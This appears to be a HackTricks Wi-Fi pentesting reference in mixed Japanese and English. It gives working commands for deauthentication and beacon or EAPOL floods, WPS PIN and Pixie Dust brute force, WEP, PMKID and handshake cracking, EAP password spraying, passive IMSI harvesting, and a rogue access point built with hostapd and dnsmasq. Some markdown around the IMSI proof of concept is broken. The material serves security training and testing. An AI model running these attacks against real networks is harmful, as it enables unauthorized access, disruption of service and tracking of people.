Pentesting Wifi
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Wifiの基本コマンド
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
ツール
Hijacker & NexMon (Android 内部の Wi-Fi)
Enable Nexmon Monitor And Injection On Android
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
dockerでairgeddonを実行する
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
出典: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
wifiphisher
これは Evil Twin、KARMA、および Known Beacons 攻撃を実行でき、その後 phishing テンプレートを使用してネットワークの実際のパスワードを入手したり、ソーシャルネットワークの認証情報を取得したりします。
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
このツールはWPS/WEP/WPA-PSK攻撃を自動化します。以下を自動で行います:
- インターフェースを monitor mode に設定する
- 利用可能なネットワークをスキャンし、標的を選択できるようにする
- WEP の場合 - WEP攻撃を実行する
- WPA-PSK の場合
- WPS の場合:Pixie dust attack と bruteforce attack を実行する(brute-force attack は長時間かかる可能性があるので注意)。null PIN や database/generated PINs は試さない点に注意。
- AP から PMKID をキャプチャしてクラックしようとする
- ハンドシェイクをキャプチャするために AP のクライアントを deauthenticate しようとする
- PMKID または Handshake が得られた場合、top5000 パスワードを使って bruteforce を試みる
Attacks Summary
- DoS
- Deauthentication/disassociation – 全員(または特定の ESSID/Client)を切断する
- Random fake APs – ネットワークを隠す、スキャナをクラッシュさせる可能性がある
- Overload AP – AP を停止させようとする(通常あまり有用ではない)
- WIDS – IDS を操作する
- TKIP, EAPOL – 一部の AP に対する DoS の特定攻撃
- Cracking
- Crack WEP(複数のツールと手法)
- WPA-PSK
- WPS pin “Brute-Force”
- WPA PMKID bruteforce
- [DoS +] WPA handshake キャプチャ + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin(with or without DoS)
- Open Evil Twin [+ DoS] – captive portal creds をキャプチャしたり、LAN 攻撃を行うのに有用
- WPA-PSK Evil Twin – パスワードを知っている場合、ネットワーク攻撃に有用
- WPA-MGT – 会社の credentials をキャプチャするのに有用
- KARMA, MANA, Loud MANA, Known beacon
- + Open – captive portal creds をキャプチャしたり、LAN 攻撃を行うのに有用
- + WPA – WPA handshakes をキャプチャするのに有用
Open / OWE networks quick notes
- Passive capture on open SSIDs still works with monitor mode and tcpdump:
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6
tcpdump -i wlan0 -w capture.pcap
- OWE (Opportunistic Wireless Encryption) はステーションごとの鍵交換を行う(no PSK)ため、air フレームは “open” SSIDs 上でも暗号化されます。WPA3-based であるため、802.11w PMF を適用し、偽装された deauth/disassoc フレームをブロックします。
- OWE does not authenticate joiners: anyone can associate, so verify client isolation instead of trusting marketing claims。隔離がない場合、ARP spoofing や responder-style poisoning によるローカル L2 の攻撃は依然として機能します。
- Evil Twin は、より強い信号を出すことで open/OWE SSIDs 上で依然として実行可能です;PMF は単に deauth の近道を排します。被害者が偽造された TLS cert を受け入れると、フルの HTTP(S) MitM が回復します。
- Broadcast poisoning on open guest Wi-Fi は簡単に creds/hashes(LLMNR/NBT-NS/mDNS)を取得できます。See:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
DOS
Deauthentication Packets
説明元 here:.
Deauthentication attacks は、Wi-Fi ハッキングで広く使われる手法で、“management” フレームを偽造して デバイスをネットワークから強制的に切断する ものです。これらの暗号化されていないパケットはクライアントを正当なネットワークからのものと誤認させ、攻撃者が WPA handshakes を収集して cracking に利用したり、ネットワーク接続を持続的に妨害したりすることを可能にします。この手口は単純ながら効果的で、ネットワークセキュリティに重大な影響を与えます。
Deauthentication using Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 は deauthentication を意味します
- 1 は送信する deauths の数です(必要に応じて複数送信できます);0 は継続的に送信することを意味します
- -a 00:14:6C:7E:40:80 は access point の MAC address です
- -c 00:0F:B5:34:30:30 は deauthenticate する client の MAC address です;これを省略すると broadcast deauthentication が送信されます(常に動作するとは限りません)
- ath0 は interface name です
Disassociation Packets
Disassociation packets, similar to deauthentication packets, are a type of management frame used in Wi‑Fi networks. These packets serve to sever the connection between a device (such as a ノートパソコン or スマートフォン) and an access point (AP). The primary distinction between disassociation and deauthentication lies in their usage scenarios. While an AP emits deauthentication packets to remove rogue devices explicitly from the network, disassociation packets are typically sent when the AP is undergoing a shutdown, 再起動や移動の際に送信され、接続中のすべてのノードの切断が必要になります。
この攻撃は mdk4(mode “d”) で実行できます:
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
mdk4によるその他のDOS攻撃
詳しくは here.
ATTACK MODE b: Beacon Flooding
clientsにfake APsを表示するためにbeacon framesを送信します。これにより、network scannersやdriversがクラッシュすることもあります!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
範囲内のすべてのAccess Points (APs)にauthentication framesを送信すると、特に多数のclientsが関与している場合、これらのAPsに過負荷を与える可能性があります。この大量のトラフィックはシステムの不安定化を招き、一部のAPsがフリーズしたりリセットされたりすることがあります。
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
Probing Access Points (APs) は、SSID が正しく表示されるかを確認し、AP の到達範囲を判定します。この手法は、wordlist の有無にかかわらず bruteforcing hidden SSIDs と組み合わせることで、隠されたネットワークを特定してアクセスするのに有効です。
ATTACK MODE m: Michael Countermeasures Exploitation
異なる QoS キューにランダムまたは重複したパケットを送ると、TKIP APs 上で Michael Countermeasures が発動し、AP が約1分間停止することがあります。この手法は効率的な DoS (Denial of Service) 攻撃手段です。
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
APにEAPOL Start framesを大量に送信するとfake sessionsが作成され、APを圧倒して正当なクライアントの接続を妨げます。あるいは、fake EAPOL Logoff messagesを注入してクライアントを強制切断させることもでき、いずれの手法もネットワークサービスを効果的に妨害します。
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: IEEE 802.11s メッシュネットワークに対する攻撃
メッシュネットワークにおけるリンク管理およびルーティングへの様々な攻撃。
ATTACK MODE w: WIDS 混乱
クライアントを複数の WDS ノードや偽の rogue APs にクロス接続することで、Intrusion Detection and Prevention Systems を操作し、混乱や潜在的なシステム悪用を引き起こす可能性があります。
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
多様なパケットソースとパケット操作用の豊富な修飾子セットを備えた packet fuzzer。
Airggedon
Airgeddon は前述の多くの攻撃を提供します:
.png)
WPS
WPS (Wi‑Fi Protected Setup) は、WPA や WPA2 Personal で暗号化されたネットワークへのデバイス接続を簡素化し、セットアップの速度と容易さを向上させます。WEP のように容易に破られるセキュリティには効果がありません。WPS は 8 桁の PIN を使用し、前半と後半に分けて検証するため、組み合わせ数が限られており(約 11,000 通り)、ブルートフォース攻撃に脆弱です。
WPS Bruteforce
この攻撃を行う主なツールは 2 つあり、Reaver と Bully です。
- Reaver は WPS に対する堅牢で実用的な攻撃を目的に設計されており、さまざまなアクセスポイントや WPS 実装でテストされています。
- Bully は C で書かれた WPS brute force 攻撃の new implementation です。元の reaver コードに比べ、依存関係が少ない、メモリと CPU のパフォーマンスが向上している、endianness の正しい処理、より堅牢なオプション群などの利点があります。
この攻撃は WPS PIN の脆弱性を突きます。特に最初の 4 桁が個別に露出し、最後の桁がチェックサムとして機能するため、ブルートフォース攻撃が容易になります。しかし、攻撃者の MAC address をブロックするなどのブルートフォース防御があるため、攻撃を継続するには MAC address のローテーションが必要です。
Bully や Reaver のようなツールで WPS PIN を取得すると、攻撃者は WPA/WPA2 の PSK を導出でき、持続的なネットワークアクセスを確保できます。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute Force
This refined approach targets WPS PINs using known vulnerabilities:
- Pre-discovered PINs: 均一な WPS PIN を使用することで知られる特定のメーカーに紐づく既知の PIN のデータベースを利用します。このデータベースは、これらのメーカーに対する可能性の高い PIN と MAC-addresses の最初の3オクテットを関連付けています。
- PIN Generation Algorithms: ComputePIN や EasyBox のようなアルゴリズムを利用し、AP の MAC-address に基づいて WPS PIN を算出します。Arcadyan algorithm はさらに device ID を必要とし、PIN 生成プロセスにもう一層加わります。
WPS Pixie Dust attack
Dominique Bongard は、一部の Access Points (APs) が秘密コード(nonces(E-S1 と E-S2))を生成する際の欠陥を発見しました。これらの nonces を突き止められれば、AP の WPS PIN を破るのは容易になります。AP は、自身が正当なものであり rogue AP ではないことを証明するために、PIN を特定のコード(hash)の中に示します。これらの nonces は、本質的に WPS PIN を収めた「金庫」を解くための「鍵」です。詳しくは here を参照してください。
簡単に言うと、問題は一部の APs が接続プロセス中に PIN を暗号化するための鍵に十分なランダム性を使用していなかったことです。これにより、ネットワーク外部からの推測(offline brute force attack)に対して脆弱になります。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
デバイスをmonitor modeに切り替えたくない、またはreaverやbullyが問題を起こす場合は、OneShot-Cを試してみてください。このツールはmonitor modeに切り替えずにPixie Dust攻撃を実行できます。
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
設計が不十分なシステムの中には、Null PIN(空または存在しないPIN)でアクセスを許可してしまうものがあり、これはかなり珍しいです。ツールReaverはこの脆弱性のテストが可能ですが、Bullyはできません。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
提案されたいずれの WPS 攻撃も airgeddon. を使って簡単に実行できます。
.png)
- 5 と 6 は your custom PIN(もしあれば)を試すことができます
- 7 と 8 は Pixie Dust attack を実行します
- 13 は NULL PIN をテストできます
- 11 と 12 は recollect the PINs related to the selected AP from available databases を行い、ComputePIN、EasyBox、および任意で Arcadyan を使用して、可能な PINs を generate します(推奨、やってみては?)
- 9 と 10 は every possible PIN をテストします
WEP
なぜ脆弱なのか
- RC4 seed は単に IV (24 bits) + shared key です。IV は cleartext で小さく(2^24)すぐに繰り返すため、同じ IV を持つ ciphertexts は keystream を再利用します。
- 同じ keystream を使用する二つの ciphertexts を XORing すると
PlaintextA ⊕ PlaintextBが漏れます;予測可能なヘッダと RC4 KSA のバイアス(FMS)によりキーのバイトに“投票”できます。PTW はこれを ARP トラフィックを用いて最適化し、必要なパケット数を何百万から数万に減らします。 - 整合性は CRC32(線形/非鍵付き)のみなので、攻撃者はビットを反転させてキーなしで CRC32 を再計算でき、IV を待つ間に packet forgery/replay/ARP injection が可能になります。
実際の解読は決定論的です:
airodump-ng --bssid <BSSID> --channel <ch> --write wep_capture wlan1mon # collect IVs
# optionally speed up IVs without deauth by replaying ARP
aireplay-ng --arpreplay -b <BSSID> -h <clientMAC> wlan1mon
aircrack-ng wep_capture-01.cap # PTW attack recovers key once IV threshold is met
Airgeddon は、ガイド付き UI を好む場合に備え、“All-in-One” WEP ワークフローをそのまま同梱しています。
.png)
WPA/WPA2 PSK
PMKID
In 2018, hashcat revealed a new attack method, unique because it only needs one single packet and doesn’t require any clients to be connected to the target AP—just interaction between the attacker and the AP.
Many modern routers add an optional field to the first EAPOL frame during association, known as Robust Security Network. This includes the PMKID.
As the original post explains, the PMKID is created using known data:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
「PMK Name」が一定で、APとstationのBSSIDが分かっており、PMKがフル4-way handshakeのものと同一であるため、hashcatはこの情報を利用してPSKをクラッキングし、パスフレーズを復元できます!
この情報をgatherしてローカルでパスワードをbruteforceするには、以下を実行します:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
この PMKIDs キャプチャ済み は console に表示され、また 保存 は _ /tmp/attack.pcap_ に行われます
次に、キャプチャを hashcat/john 形式に変換して crack してください:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
正しいハッシュの形式は4つの部分で構成されます。例: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838。あなたのものが3つのみであれば、それは無効です(PMKIDのキャプチャは有効ではありません)。
hcxdumptoolはhandshakesもキャプチャします(次のような表示が出ます: MP:M1M2 RC:63258 EAPOLTIME:17091)。cap2hccapxを使って、handshakesをhashcat/john形式に変換できます。
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
このツールでキャプチャした一部の handshakes は、正しいパスワードを知っていても cracked できないことに気付きました。可能であれば従来の方法でも handshakes をキャプチャするか、このツールで複数回キャプチャすることをお勧めします.
Handshake キャプチャ
WPA/WPA2 ネットワークへの攻撃は、handshake をキャプチャしてパスワードを offline で crack することで実行できます。このプロセスは、特定のネットワークの通信および特定の channel 上の BSSID を監視することを含みます。以下は簡潔なガイドです:
- ターゲットネットワークの BSSID、channel、および 接続中のクライアント を特定します。
- 指定した channel と BSSID 上のネットワークトラフィックを監視するために
airodump-ngを使用し、handshake をキャプチャできることを期待します。コマンドは次のようになります:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- ハンドシェイクをキャプチャする確率を高めるため、クライアントを一時的にネットワークから切断して再認証を強制します。これはクライアントにdeauthenticationパケットを送信する
aireplay-ngコマンドで行えます:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.
airodump-ng に handshake の情報が表示されたら、それは handshake がキャプチャされたことを意味し、listening を停止して構いません:
 (1).png)
handshake がキャプチャされたら、aircrack-ng で crack できます:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
ファイルにhandshakeがあるか確認
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
このツールが、完了したhandshakeより先にESSIDの未完了のhandshakeを見つけた場合、有効なものを検出できません。
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
wpa_supplicantのctrl socketを使った高速なオンラインPSK推測(クライアント/PMKIDなし)
クライアントが周囲におらずAPがPMKIDを拒否する場合、supplicantsを再起動することなくオンラインでPSKを反復試行できます:
wpa_supplicant.cをパッチして、auth failure backoff logic(ssid->auth_failures付近)でdur = 0;を強制し、temporary-disableタイマーを無効化します。- control socket付きで単一のデーモンを実行します:
# wpa_supplicant.conf
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=root
update_config=1
wpa_supplicant -B -i wlp3s0 -c wpa_supplicant.conf
- control interface 経由で実行し、同じ scan と network を再利用する:
ADD_NETWORK
SET_NETWORK 0 ssid "<ssid>"
ENABLE_NETWORK 0
SCAN
(loop)
SET_NETWORK 0 psk "<candidate>"
REASSOCIATE
wait for CTRL-EVENT-CONNECTED / DISCONNECTED
小さなPythonループでソケットイベント(CTRL-EVENT-CONNECTED / CTRL-EVENT-DISCONNECTED)を読み取ることで、スキャンのオーバーヘッドなしに約5分で約100件の推測を試すことができます。まだノイズが大きく検出されやすいですが、各試行ごとのプロセス再起動やバックオフ遅延を回避できます。
WPA Enterprise (MGT)
企業向けWiFi環境では、さまざまな認証方式に遭遇します。それぞれが異なるセキュリティレベルと管理機能を提供します。airodump-ng のようなツールでネットワークトラフィックを調査すると、これらの認証タイプを示す識別子が表示されることがあります。一般的な方式には次のようなものがあります:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- この方式はハードウェアトークンやワンタイムパスワードをEAP-PEAP内でサポートします。MSCHAPv2とは異なり、peer challengeを使用せず、パスワードをアクセスポイントに平文で送信するため、downgrade attacksのリスクがあります。
- EAP-MD5 (Message Digest 5):
- クライアントからパスワードのMD5ハッシュを送信します。辞書攻撃に対して脆弱であり、サーバー認証がなく、セッション固有のWEPキーを生成できないため、推奨されません。
- EAP-TLS (Transport Layer Security):
- クライアント側とサーバー側の両方の証明書を用いて認証を行い、ユーザー単位およびセッション単位の動的なWEPキーを生成して通信を保護できます。
- EAP-TTLS (Tunneled Transport Layer Security):
- 暗号化されたトンネルを介して相互認証を提供し、動的なユーザー別・セッション別WEPキーを導出する方法を提供します。サーバー側の証明書のみを必要とし、クライアントは資格情報を使用します。
- PEAP (Protected Extensible Authentication Protocol):
- EAPと同様にTLSトンネルを作成して保護された通信を行います。トンネルによる保護があるため、その上で弱い認証プロトコルを使用することが可能になります。
- PEAP-MSCHAPv2: 通常PEAPと呼ばれ、脆弱なMSCHAPv2のchallenge/response機構をTLSトンネルで保護する組み合わせです。
- PEAP-EAP-TLS (or PEAP-TLS): EAP-TLSに似ていますが、証明書交換の前にTLSトンネルを確立して追加のセキュリティ層を提供します。
You can find more information about these authentication methods here and here.
Username Capture
Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the “Identity” messages must be supported, and the username is going to be sent in clear in the “Response Identity” messages.
Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng inside a channel and wireshark in the same interface) and filter the packets byeapol.
Inside the “Response, Identity” packet, the username of the client will appear.
.png)
Anonymous Identities
Identity hiding は EAP-PEAP と EAP-TTLS の両方でサポートされています。WiFiネットワークの文脈では、EAP-Identity の要求は通常アソシエーションプロセス中にアクセスポイント (AP) によって開始されます。ユーザーの匿名性を保護するために、ユーザー端末上のEAPクライアントからの応答は、初期 RADIUS サーバーが要求を処理するために必要最低限の情報のみを含みます。以下のシナリオでこの概念を示します:
- EAP-Identity = anonymous
- このシナリオでは、すべてのユーザーが擬名 “anonymous” をユーザー識別子として使用します。初期 RADIUS サーバーは EAP-PEAP または EAP-TTLS サーバーとして機能し、PEAP または TTLS プロトコルのサーバー側を管理します。内部(保護された)認証方式はローカルで処理されるか、リモート(home)RADIUS サーバーに委任されます。
- EAP-Identity = anonymous@realm_x
- この場合、異なる realm に属するユーザーは自分の実際のIDを隠しつつ、どの realm に属するかを示します。これにより初期 RADIUS サーバーは EAP-PEAP または EAP-TTLS のリクエストをそれぞれの home realm の RADIUS サーバーにプロキシでき、home realm のサーバーが PEAP または TTLS サーバーとして振る舞います。初期 RADIUS サーバーは単に RADIUS の中継ノードとして動作します。
- あるいは、初期 RADIUS サーバーが EAP-PEAP または EAP-TTLS サーバーとして動作し、保護された認証方式を処理するか、別のサーバーに転送することもできます。このオプションにより、様々な realm に対して異なるポリシーを設定できます。
EAP-PEAP では、PEAP サーバーと PEAP クライアントの間で TLS トンネルが確立されると、PEAP サーバーは EAP-Identity リクエストを開始し、それを TLS トンネル経由で送信します。クライアントはこの第二の EAP-Identity リクエストに応答し、ユーザーの真の識別子を含む EAP-Identity レスポンスを暗号化トンネル経由で送信します。この方法により、802.11 トラフィックを傍受している第三者に対してユーザーの実際の ID が露呈することを防ぎます。
EAP-TTLS はやや異なる手順に従います。EAP-TTLS では、クライアントは通常 TLS トンネルにより保護された PAP または CHAP を用いて認証します。この場合、クライアントはトンネル確立後に送信される最初の TLS メッセージ内に User-Name 属性と Password または CHAP-Password 属性を含めます。
どのプロトコルを選択しても、PEAP/TTLS サーバーは TLS トンネル確立後にユーザーの真の識別子を取得します。真の識別子は user@realm または単に user として表現されます。PEAP/TTLS サーバーがユーザー認証も担当する場合、サーバーはユーザーの識別子を取得し、TLS トンネルで保護された認証方式を続行します。あるいは、PEAP/TTLS サーバーはユーザーの home RADIUS サーバーに新しい RADIUS リクエストを転送することがあります。この新しい RADIUS リクエストには PEAP または TTLS プロトコル層は含まれません。保護された認証方式が EAP の場合、内部の EAP メッセージは EAP-PEAP または EAP-TTLS のラッパーなしで home RADIUS サーバーに転送されます。送信される RADIUS メッセージの User-Name 属性は、受信 RADIUS リクエストの anonymous User-Name を置き換えてユーザーの真の識別子を含みます。保護された認証方式が PAP または CHAP(TTLS のみサポート)である場合、TLS ペイロードから抽出された User-Name やその他の認証属性が送信側の RADIUS メッセージに差し替えられ、受信 RADIUS リクエストに含まれていた anonymous User-Name と TTLS EAP-Message 属性が置き換えられます。
For more info check https://www.interlinknetworks.com/app_notes/eap-peap.htm
SIM-based EAP (EAP-SIM/EAP-AKA) identity leakage (IMSI exposure)
SIM ベースの Wi‑Fi 認証(EAP‑SIM/EAP‑AKA を 802.1X 上で使用する場合)は、導入が擬名/保護された識別子(pseudonyms/protected identities)や内部 EAP の周りの TLS トンネルを実装していない場合、未認証の identity フェーズで恒久的加入者識別子(IMSI)を平文で leak してしまう可能性があります。
Where the leak happens (high level):
- 802.11 association completes to the SSID (often carrier offload SSIDs like FreeWifi_secure, eduroam-like operator realms, etc.).
- Authenticator sends EAP-Request/Identity.
- Vulnerable clients answer EAP-Response/Identity with their permanent identity = IMSI encoded as a 3GPP NAI, prior to any protection.
- Example NAI: 20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
- Anyone passively listening to RF can read that frame. No 4-way handshake or TLS keying is needed.
Quick PoC: passive IMSI harvesting on EAP‑SIM/AKA networks lacking identity privacy
Click to expand
```bash # 1) Enable monitor mode airmon-ng start wlan02) Optional: lock channel to the target BSS
airodump-ng wlan0mon –essid
3) Capture 802.1X/EAP frames
Wireshark display filters:
eap || eapol
(identity specifically): eap.code == 2 && eap.type == 1
Kismet: add source wlan0mon; enable 802.1X/EAP views
tcpdump (pcap capture):
tcpdump -i wlan0mon -s 0 -w eapsim_identity.pcap
4) Wait for a device to auto-connect to the SSID
5) Inspect the first EAP-Response/Identity frame
Expected: ASCII NAI containing IMSI, e.g.
20815XXXXXXXXXX@wlan.mnc015.mcc208.3gppnetwork.org
</details>
注意:
- デプロイが保護された識別子/仮名を用いない素の EAP‑SIM/AKA を使用している場合、TLS トンネルが確立される前に動作します。
- 露出した値は加入者の SIM に結び付いた永続的な識別子であり、収集は長期的な追跡やその先の通信事業者への悪用を可能にします。
影響
- プライバシー: 公共の場所での受動的な Wi‑Fi キャプチャからの持続的なユーザー/デバイス追跡。
- 通信事業者悪用の足がかり: IMSI があれば、SS7/Diameter へアクセスできる攻撃者は位置情報照会や通話/SMS の傍受、MFA の窃取を試みることができます。
緩和策 / 注意点
- クライアントが 3GPP のガイダンス(例: 3GPP TS 33.402)に従い、EAP‑SIM/AKA で匿名の外部識別子(擬名)を使用していることを確認してください。
- 識別フェーズをトンネリングすることを推奨します(例: inner EAP‑SIM/AKA を運ぶ EAP‑TTLS/PEAP)—これにより IMSI が平文で送信されることはありません。
- association/auth のパケットキャプチャに生の IMSI が EAP-Response/Identity に露出していてはなりません。
関連: キャプチャしたモバイル識別子を用いた通信シグナリングの悪用
<a class="content_ref" href="../pentesting-network/telecom-network-exploitation.md"><span class="content_ref_label">Telecom Network Exploitation</span></a>
### EAP-Bruteforce (password spray)
クライアントが**ユーザー名とパスワード**を使用することが想定される場合(なお、この場合**EAP-TLS は有効ではありません**)、**usernames**の**リスト**(次のパート参照)と**passwords**を入手して、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** を使ってアクセスを**bruteforce**してみることができます。
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
この攻撃は eaphammer を使用して行うこともできます:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
クライアント攻撃の理論
ネットワーク選択とローミング
- 802.11 プロトコルは station が Extended Service Set (ESS) に参加する方法を定義するが、どの ESS を選ぶか、またはその中のどの access point (AP) を選択するかという基準は規定していない。
- Stations は同じ ESSID を共有する複数の AP 間をローミングでき、建物やエリア全体で接続を維持する。
- プロトコルは station が ESS に対して認証することを要求するが、AP が station に対して認証することは義務付けていない。
優先ネットワークリスト (PNLs)
- Stations は接続したすべての無線ネットワークの ESSID を Preferred Network List (PNL) に、ネットワーク固有の設定情報とともに保存する。
- PNL は既知のネットワークへの自動接続に使われ、接続プロセスを簡略化してユーザーエクスペリエンスを向上させる。
受動スキャン
- AP は定期的に beacon frames をブロードキャストして存在と機能を通知する。ブロードキャストが無効でない限り AP の ESSID も含まれる。
- 受動スキャン中、stations は beacon frames を受信する。ビーコンの ESSID が station の PNL にあるエントリと一致すると、その station は自動的にその AP に接続することがある。
- デバイスの PNL を知っていれば、既知ネットワークの ESSID を偽装してデバイスを rogue AP に接続させる、といった悪用が可能になる。
能動プロービング
- 能動プロービングでは stations が probe requests を送信して近隣の AP とその特性を探索する。
- Directed probe requests は特定の ESSID を対象とし、隠しネットワークであっても特定のネットワークが範囲内にあるかを検出するのに役立つ。
- Broadcast probe requests は null SSID フィールドを持ち、近隣のすべての AP に送信される。これにより station は PNL の内容を開示せずに任意の優先ネットワークがあるかを確認できる。
インターネットへリダイレクトするシンプルな AP
より複雑な攻撃の実行方法を説明する前に、単に AP を 作成 し、その トラフィック を Internet に接続されたインタフェースに リダイレクト する 方法 をまず説明する。
Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
設定ファイル /etc/dnsmasq.conf を作成する:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
次に set IPs と routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
そして dnsmasq を 起動 します:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
設定ファイル hostapd.conf を作成する:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
邪魔なプロセスを停止する、monitor mode を設定し、hostapd を起動する:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
フォワーディングとリダイレクション
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
